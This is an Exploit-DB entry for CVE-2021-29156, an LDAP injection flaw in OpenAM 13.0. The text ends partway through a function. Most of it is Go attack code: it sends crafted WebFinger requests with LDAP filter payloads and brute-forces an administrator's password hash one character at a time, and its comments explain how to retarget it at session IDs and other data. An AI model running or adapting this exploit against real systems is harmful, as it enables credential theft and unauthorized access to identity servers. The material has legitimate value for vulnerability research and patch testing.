Exploit-DB #50480
Description: OpenAM 13.0 - LDAP Injection
Type: webapps
Platform: java
Date: 2021-11-03
Author: Charlton Trezevant

Exploit:
# Exploit Title: OpenAM 13.0 - LDAP Injection
# Date: 03/11/2021
# Exploit Author: Charlton Trezevant, GuidePoint Security
# Vendor Homepage: https://www.forgerock.com/
# Software Link: https://github.com/OpenIdentityPlatform/OpenAM/releases/tag/13.0.0,
# https://backstage.forgerock.com/docs/openam/13/install-guide/index.html#deploy-openam
# Version: OpenAM v13.0.0
# Tested on: go1.17.2 darwin/amd64
# CVE: CVE-2021-29156
# 
# This vulnerability allows an attacker to extract a variety of information
# (such as a user’s password hash) from vulnerable OpenAM servers via LDAP
# injection, using a character-by-character brute force attack.
# 
# https://github.com/guidepointsecurity/CVE-2021-29156
# https://nvd.nist.gov/vuln/detail/CVE-2021-29156
# https://portswigger.net/research/hidden-oauth-attack-vectors

package main

// All of these dependencies are included in the standard library.
import (
	"container/ring"
	"fmt"
	"math/rand"
	"net/http"
	"net/url"
	"sync"
	"time"
)

func main() {
	// Base URL of the target OpenAM instance
	baseURL := "http://localhost/openam/"

	// Local proxy (such as Burp)
	proxy := "http://localhost:8080/"

	// Username whose hash should be dumped
	user := "amAdmin"

	// Configurable ratelimit
	// This script can go very, very fast. But it's likely that would overload Burp and the target server.
	// The default ratelimit of 6 can retrieve a 60 character hash through a proxy in about 5 minutes and
	// ~1700 requests.
	rateLimit := 6

	// Beginning of the LDAP injection payload. %s denotes the position of the username.
	payloadUsername := fmt.Sprintf(".well-known/webfinger?resource=http://x/%s)", user)
	partURL := fmt.Sprintf("%s%s", baseURL, payloadUsername)

	// Your LDAP injection payloads. %s denotes the position at which the constructed hash + next test character
	// will be inserted.
	// These are configured to dump password hashes. But you can reconfigure them to dump other data, such as
	// usernames/session IDs/etc depending on your use case.
	// N.B. you will likely need to update the brute-forcing keyspace depending on the data you're trying to dump.
	testCharPayload := "(sunKeyValue=userPassword=%s*)(%%2526&rel=http://openid.net/specs/connect/1.0/issuer"
	testCrackedPayload := "(sunKeyValue=userPassword=%s)(%%2526&rel=http://openid.net/specs/connect/1.0/issuer"

	// The keyspace for brute-forcing individual characters is stored in a ringbuffer
	// You may need to change how this is initialized depending on the types of data you're
	// trying to retrieve. By default, this is configured for password hashes.
	dict := makeRing()

	// Working characters for each step are concatenated with this string. Further tests are conducted
	// using this value as it's built.
	// Importantly, if you already have part of the hash you can put it here as a crib. This allows you
	// to resume a previous brute-forcing session.
	password := ""

	proxyURL, _ := url.Parse(proxy)

	// You can modify the HTTP client configuration below.
	// For example, to disable the HTTP proxy or set a different
	// request timeout value.
	client := &http.Client{
		Transport: &http.Transport{
			Proxy: http.ProxyURL(proxyURL),
		},
		Timeout: 30 * time.Second,
	}

	// Channels used for internal signaling
	cracked := make(chan string, 1)
	foundChar := make(chan string, 1)

	wg := &sync.WaitGroup{}
	wg.Add(1)

	// All hacking tools need a header. You may experience a 10-15x performance improvement
	// if you replace the flower-covered header with the gothic bleeding/flaming/skull-covered
	// ASCII art typical of these kinds of tools.
	printHeader()

loop:
	for {
		select {
		case <-cracked:
			// Full hash test succeeds, terminate everything
			// N.B. this feature does not work, see my comments on checkCracked.
			fmt.Printf("Cracked! Password hash is: \"%s\"\n", password)
			wg.Done()
			break loop

		case char := <-foundChar:
			// In the event that a test character succeeds, that thread will pass it along in the
			// foundChar channel to signal success. It's then concatenated with the known-good
			// password hash and the whole thing is tested in a query
			// This doesn't work because OpenAM doesn't respond to direct queries containing the password hash
			// in the manner I expect. But it might still work for other types of data.
			password += char
			fmt.Printf("Progress so far: '%s'\n", password)

			// Forgive these very ugly closures
			go (func(client *http.Client, url, payload *string, password string, cracked *chan string) {
				// Add random jitter before submitting request
				time.Sleep(time.Duration(rand.Intn(3)+3) * time.Microsecond)
				time.Sleep(1 * time.Second)
				checkCracked(client, url, payload, &password, cracked)
			})(client, &partURL, &testCharPayload, password, &cracked)

		default:
			for i := 0; i < rateLimit-1; i++ {
				testChar := dict.Value.(string)
				go (func(client *http.Client, url, payload *string, password, testChar string, foundChar *chan string) {
					time.Sleep(time.Duration(rand.Intn(3)+3) * time.Microsecond)
					time.Sleep(1 * time.Second)
					getChar(client, url, payload, &password, &testChar, foundChar)
				})(client, &partURL, &testCrackedPayload, password, testChar, &foundChar)
				dict = dict.Next()
			}

			time.Sleep(1 * time.Second)
		}
	}

	wg.Wait()
}

// checkCracked tests a complete string in a query against the OpenAM server to
// determine whether the exact, full hash has been retrieved.
// This doesn't actually work, because the server doesn't respond as I'd expect
// A better implementation would probably watch until all positions in the ringbuffer
// are exhausted in testing and terminate (since there's no way to progress further)
func checkCracked(client *http.Client, targetURL, payload, password *string, cracked *chan string) {
	fullPayload := fmt.Sprintf(*payload, url.QueryEscape(*